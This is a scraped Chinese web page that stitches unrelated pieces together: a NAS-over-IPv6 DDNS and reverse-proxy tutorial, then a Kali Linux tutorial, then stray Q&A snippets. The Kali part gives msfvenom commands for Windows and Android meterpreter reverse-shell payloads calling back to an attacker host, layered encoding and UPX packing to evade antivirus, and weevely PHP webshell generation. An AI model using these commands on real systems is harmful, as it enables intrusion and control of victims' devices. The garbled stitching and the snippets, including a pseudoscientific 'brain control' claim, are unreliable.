NAS+IPV6，零成本实现内网设备全远程访问！群晖、威联通DDNS教程
NAS+IPV6，零成本实现内网设备全远程访问！群晖、威联通NAS公网DDNS访问设置教程
开篇碎碎念
大家好，废话不多说，直接进入主题，本期的内容是：借助NAS自带的免费DDNS服务+IPV6，实现内网设备全远程访问。注意，是
相信在大妈的各位手里多少有一台或多台NAS，要知道，NAS自带的远程访问服务一般比较慢，因为经过服务器中转；所以很多朋友会申请公网IP进行远程访问，速度最快也最省心，但公网V4地址一般难以申请，因为资源枯竭，那只能把上当放到了目前正在大力发展的IPV6上了，一般来说，家庭宽带基本都支持了IPV6，如果不支持，那肯定是你没有进行正确的设置。
拓朴图如下，比如图中使用一台群晖NAS，设置了自带免费的IPV6 DDNS解析，再借助NAS自带的反向代理服务，就可以实现远程访问这台NAS，以及和这台NAS处于同一局域网中的所有内网设备，也即是前面所说的，实现『内网设备实现全部远程连接和访问』， 这类文章和教程也层出不穷，但没看到有讲到NAS的反向代理服务的，这个反向代理真的很好用，很强大，基本所有NAS都支持，所以本人不才，来分享一下如何进行设置，让你仅需一台NAS，实现内网设备全远程访问。
按上图来看，我用局域网中的群晖进行了DDNS+IPV6设置后，在外网环境下，我可以远程连接这台NAS，并且还可以借助NAS中的反向代理继而实现远程访问局域网中的主路由、局域网中的另一台NAS、局域网中任意一台支持后台管理的设备，这就是实现的效果。
解释下DDNS，摘自百科，这些概念各位可搜索一下，本篇着重动手操作，各种概念性的就不做过多解释了，本期会用群晖（白或洗白）、威联通NAS进行实操演示，如果你也有这两个品牌中的任一机器，都可以实现操作，达到前面所说的目的。
当然，虽说本期以IPV6为主题，如果你有公网V4，也是可以操作的，不过V4的话一般在主路由上设置端口转发之类即可实现，更加简单就是，本篇还是侧重IPV6的演示。
DDNS（Dynamic Domain Name Server，动态域名服务）是将用户的动态IP地址映射到一个固定的域名解析服务上，用户每次连接网络的时候客户端程序就会通过信息传递把该主机的动态IP地址传送给位于服务商主机上的服务器程序，服务器程序负责提供DNS服务并实现动态域名解析。
我目前主力NAS为威联通TS-462C，辅群晖进行备份，下面进入正式教程。
如何开启IPV6
要想使用IPV6进行远程访问，前提条件是支持和开启IPV6，当然，这里的IPV6必须是公网IPV6，比如240x开头的就是公网IPV6，fe80之类的就是内网V6，内网V6的端口转发之类的我没操作过，不知道能不能实现，所以本期操作前提是设备能获取到公网IPV6（即240x开头的），以群晖为例，如何查看是否真正获取到公网V6呢，如下图。
有240x开头，说明即是公网V6，这也是V6的强大之处，只要支持，可以让你局域网中各一台设备都分配到一个公网V6，IPV6可以让地球上每一粒沙子都有V6地址，这句话不是开玩笑的。像公网IPV4，一般只能单IP，然后在路由器上做端口转发，而IPV6完全不需要。
因为大家各自光猫品牌、路由器品牌对于IPV6的设置都不尽相同，各位可参考下图中的这篇文章，在搜索引擎中搜索那个标题即可找到（这里放不了链接，抱歉），这篇文章把如何开启公网V6的方法说得非常详细，感谢大佬，如果没有获取到V6，先按这篇文章开启了V6并正确获取公网V6后，再按下文中的演示进行操作。
设置群晖DDNS+IPV6远程访问
先来演示群晖的设置吧，按前面那张图，确保你群晖NAS正确获取到了公网IPV6地址，再进行以下操作。
打开群晖控制面板，进入设置，找到『外部访问』-『DDNS』，添加或新增-弹出如下界面。
服务供应商选择群晖即Synology，主机名称处让你填写一个二级域名，比如我做为一个小黑子，不，做为一个ikun，我写的二级域名为ikun007，如果提示占用，更改字符，比如008、009之类的直到提示没被占用即可。
Heartbear启用，相当于检测到IP地址有变动，会自动解析新的IP到Synology这个二级域名，访问时，我们访问这串http://ikun007.synology.me就可以远程连接这台NAS的意思。
再往下就会提示你的IPV4和IPV6地址，我的V4地址是大内网，这里虽然显示，但不是公网V4，IPV6可看到我是240x开头的，这才是真公网V6。
勾选同意，点击确定。
会提示是否顺便申请SSL证书，群晖厚道，免费DDNS不说，还有免费证书，为了后续方便开启https，让远程更加安全，当然选择是啦。
大概10来秒，成功，如下界面，说明成功了。
返回安全，找到证书，看看是否自动设置为默认证书，如不是，手动设置为默认即可。
有了证书，当然要开启HTTPS访问啦，如下图操作，找到网络-DSM设置，勾选HTTPS之类的选项，群晖7.0可能设置不同，那你直接搜索https之类字眼找到这个设置就行了，各位随机应变，不要问我DSM 7怎么开HTTPS了，要善于变通哦，实在不行，请搜索引擎搜索。
现在，访问『http://ikun007.synology.me:5000』，各位，记得把ikun007替换成你自己的二级域名，不要照抄我的，毕竟我才是真ikun。
可以发现，自动跳转到5001端口，并且网址前面有把小锁，说明是自动跳转到https访问，当然，因为V6，所以你的访问端也要支持V6，如果没有V6，也没有V4，那就直接访问不通。
可以百度ipv6 test，查看你当前的访问端是否支持V6，反正3大运营商的手机卡我实测都支持IPV6了。
那有的观众会问，你前面说全内网设备实现远程访问，怎么现在只能远程访问这台NAS呢，ikun们别急，这就来演示使用群晖的反向代理实现这个全远程访问。
还是前面那张网络图，如下，现在实现了局域网中群晖NAS的远程访问，如果想实现远程访问图中的主路由和另一台NAS如何操作呢？
先记下我主路由的IP地址：192.168.2.1:80，另一台NAS的IP地址：192.168.2.66:5000，接下来就设置群晖的反向代理继而实现远程访问这台主路由以及这另一台NAS的后台，也就是把群晖NAS当做跳板。
然后来到群晖后台，找到应用程序门户-反向代理服务器 （注意，DSM 7据说没有应用程序门户了，那您可以搜索反向代理，应该会弹出相应设置，还是那句话，DSM 7肯定是有这个功能的，据说在『登录-高级设置中可以查到』只是它把这个功能转移到其它选项卡中了，因我手上没7.0设备，各位请随机应变，或者百度），然后点击新增。
以实现远程访问我的TP主路由：192.168.2.1:80为例，按下图中设置。
描述，随意填写，我就写TP路由器，见名知意，协议选择HTTPS吧，我们已经申请了证书并开启了HTTPS访问了，主机名就默认*号，相当于所有来源，端口就写一个没被占用的即可，如有占用，它会有提示，改，直到不提示占用。
目的地处，协议选择HTTP，因为我TP后台是HTTP形式访问，主机名就写主路由后台的IP，端口一般是80，点击确定。
好的，现在访问『http://ikun007.synology.me:5002』，发现成功跳转到我TP主路由后台了，你在外面也可以用这串网址来远程管理主路由了，是不是很简单。大家就按这个方式，套用公式就行。
下面再来套一个，我在群晖NAS上部署了NAS Tools，我NAS Tools的后台地址是：192.168.2.3:3000，要想实现远程访问，按如下设置。
描述我写的是NAS Tools，来源端口写一个未占用的5003，目的地，主机名是localhost，也可以写192.168.2.3，如果这个服务本身就部署在这台NAS上，可以使用localhost，目的地端口也就是NAS Tools的后台端口即3000，确定即可。
好的，再次访问『http://ikun007.synology.me:5003』，实现NAS Tools的后台远程访问，搞定。是不是很简单。
家中如果还有其它内网设备，各位就按这个公式套上去，是不是就实现了全内网设备远程访问了，linux支持6万多个端口，理论上可实现6万个设备的远程访问了。
NAS本来也是24小时开机，做为远程访问的跳板再合适不过了。并且公网V6，访问和下载速度都是极致的，不用使用NAS自带的远程服务了，慢。
设置威联通DDNS+IPV6远程访问
设置前，首先看看威联通NAS有没获取到公网V6，如下图操作，找不到的，就威联通中搜索网络与虚拟交换机，就看到了。确保能获取240x开头的V6地址，则可进入以下操作。
威联通内进入myQNAPcloud云服务，点击My DDNS，登录你威联通账号之类的，把My DDNS点击启用，会提示输入一个二级域名，我同样输入ikun007，点击确定。
然后，出现如下图，访问那串域名就可以远程进入威联通后台了，也会列出当前V4和V6地址，可以点下更新之类，当然，会自动更新的，此步骤不用管，因为威联通国区账号不提供免费SSL证书，就只能以HTTP形式访问了，没有群晖厚道了。
OK，输入上方显示的域名，成功远程访问这台威联通NAS，唯一遗憾是只能HTTP形式，会提示不安全形式，担心的朋友，不开或者做好各种安全防护，反正我是不怕，冲它。
好的，如何用这台威联通NAS实现内网设备全远程访问呢，请看下图，同样，我主路由是192.168.2.1:80，就以这台内网设备来演示吧，其它更多设备可以按此公式套上去，或查看前面的群晖设置反向代理时的解释，两者的反向代理设置方法是一样的。
威联通的反向代理如下图，点击添加。
要想实现远程访问主路由：192.168.2.1:80，按以下设置。来源处，随意命名，来源协议只能HTTP，因为没有SSL证书，来源端口号就指定一个未被占用的。
目的地协议也是HTTP，如果你设备要HTTPS就HTTPS吧，主机名就写主路由的IP地址，端口一般80，点击应用。
好的，访问http://ikun007.myqnapcloud.cn:5002，成功通过威联通NAS远程访问到这台TP主路由了。
反正添加反向代理时，确定目的地的IP和端口，来源处指定一个未被占用的端口，然后使用域名加指定的端口，就可以远程访问到这台内网设备了，就不再过多演示了，群晖部分有两个案例加威联通这个安全，相信各位新手朋友也能轻松看懂了。
结语
通过前面演示，配合一台NAS，我们可以实现内网设备全远程访问，主要也是利益于公网IP的威力，公网V4不好申请的情况下，转点公网IPV6绝对是一个不错的选择，最近在浙江召开的什么互联网大会就提出了要加大IPV6发展力度，相信再过几年，IPV6会更加完善，希望各位玩得愉快，收藏的同时，别忘了点个赞哦。
我们下篇再一起打篮球，不，下篇再见。
kali-5远程控制
1生成被控端2、启动主控端3、
Netcat 瑞士军刀
扫描端口
建立连接
扫描某IP地址的指定端口
nc -v ip port
连接指定IP地址的指定端口的命令如下
nc ip port
以靶机Metasploitable 2的80端口为例测试
控制软件如果是正向的，受害者计算机执行远程控制被控端之后，会在自己主机上打开一个端口，等待hacker连接，受害者计算机不会主动通知计算机，因此hacker必须知道计算机A的IP地址
控制软件如果是反向的，受害者计算机执行远程控制被控端之后，会主动通知hacker,因此黑客无须知道受害者计算机的IP地址，目前主要使用的方式
1、如何使用MSFPC生成被控端 linux
各种类型的被控端
生成linux的被控端，IP选择本机的etho网卡
运行run,很快就建好了一个handler，这就是对应被控终端的主控端
2、如何在kali linux2 中生成被控端
msfpc 是MSFvenom的优化版
┌──(rootkali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -f exe -o /var/payload.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /var/payload.exe
这里我们使用msfvenom命令生成一个被控端，使用的被控端就是一个用于windows操作系统的反向远程控制软件，即windows/meterpreter/reverse_tcp lhost=192.168.8.128是所使用的的kalilinux的虚拟机IP地址
使用以下命令可以查看所有可以使用的攻击载荷
name攻击载荷的名称 操作系统+控制方式+模块
查找Metasploit 可以在Android操作系统下运行的meterpreter
查看攻击载荷需要设置的参数
msfvenom --list-options -p windows/meterpreter/reverse_tcp
2、如何在kali linux2中启动主控端
输入msfconsole启动metasploit
在metasploit中使用handler作为主控端
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -f exe -o /root/payload.exe
3、远程控制被控端与杀毒软件的博弈
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -f exe -o /var/payload.exe
消除payload.exe的特征码，msf编码器可以将原可执行程传重新编码，生成一个新的二进制文件，这个文件执行后，msf编码器会将原可执行程序解码到内存中并执行
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -e x86/nonalpha -f c
-e 选择的编码器，使用 x86/nonalpha编写方式的到的shellcode如图所示
x86/shikata_ga_nai 两次生成的shellcode虽然功能相同，但是代码已经不同了，这也是黑客钟爱的编码方式，可以进行多次编码 -i 编码次数
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f -raw | msfvenom -e x86/alpha_upper -a x86/countdown -a x86 --platform windows -i 10 -f exe -o /var/payload.exe
3.1 加壳也是对抗基于文件扫描和内存扫描的反病毒技术
加壳工具UPX
upx /var/payload.exe
3.2 powersploit免杀
4、Meterpreter在Android中的应用
4.1查找在Android运行的攻击载荷
下面以 android/meterpreter/reverse_tcp 为例
msfvenom --list-options -p android/meterpreter/reverse_tcp
执行完毕后可以看到被控端的参数
测试环境
1、Android手机IP地址 192.168.1.101
2、kalilinux 安装到虚拟机改用桥接模式 192.168.1.34
3、无线路由192.168.1.1
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.5 lport=9999 R>/var/pentest.apk
这条命令执行完毕后就在var目录生成了一个pentest.apk的文件
4、建立主控端
启动Metasploit
msfconsole
5、对web实现远程控制
中国菜刀 中国蚁剑 冰蝎 weevely(生成PHP木马)
weevely generate 123456 /home/kali/Downloads/testweb.php
password 是生成木马的密码 path是路径 filename 文件名
把后门传到靶机里
相关问答
oppo怎样隔空给别的手机充电?
找到“USB”选项,点击该...3、在设备连接页面中,不同型号的手机,该页面所列内容会有所不同,但都可以找到“USB”选项,点击该选项进入下一步操作页面。4、在...
无线电怎么接收脑电波-懂得
脑控技术是一种远程解读大脑思维并能反向控制的神秘技术。目前反向控制人脑技术由于向人脑输入脑电波的强度受到限制及人脑自主意识的抵抗而暂时处...
无线电怎么接收脑电波-4UMKs3XVxh的回答-懂得
脑控技术是一种远程解读大脑思维并能反向控制的神秘技术。目前反向控制人脑技术由于向人脑输入脑电波的强度受到限制及人脑自主意识的抵抗而暂时处...
今天股市三大股指收跌，明天12月8日星期二，股市会怎么走?
今天股市三大股指收跌,明天12月8日星期二,股市会怎么走?一、上日分析回顾我在12月4日分析说,“下周一大盘将会选择短线波段运行方向。12月7日是一个短线变...
遥控开关是通过什么控制电流通断的
1用遥控开关控制灯具,选什么牌子的产品08874个人觉得在选购开关插座的时候,选用品牌。因为开关插座的质量关乎电器的正常使用,甚至生活的便利程度。很多小厂...
地中海贫血基因分型17种突变，反向点杂交_千问健康
反向点杂交,基因突变,ivs_ii-654位点突变基因杂合子,如果女方无地贫。这样对下一代的影响大么。:需要医生帮助提供远程诊断:地中海贫血基因分型17种突变,反向...
百里守约的甩狙技巧?
百里守约的甩狙技巧近程和远程,近战时中线在敌方身上边线裹住敌方英雄即可实现大概率命中,远程时先反向开狙,等被动积攒满我们再移动回来先短暂预瞄,当肯定敌...
MSN会被监控吗，是不是不保存聊天记录就不会被看见？
[回答]查看聊天记录分为两种情况:1、通过远程监控屏幕实时看;2、直接通过远程控制程序将MSN聊天记录文件拷贝,当然也可以设为邮件自动发送。如果您不是软...
小遛可以远程锁车吗?
不能强制锁车,你的账号还会显示未还车,联系小溜共享上面的客服电话,看怎么处理。将锁扣轻轻往锁环反方向拉动一下,再尝试手动下压扣,合上锁环。如果还不能...
苹果手机如何实现远程视频监控?
1、下载并安装相对应手机系统的云视通手机网络远程监控系统客户端。2、登录手机监控系统主界面,单击“添加设备”图标,并输入家用网络摄像机的云视通号码。...
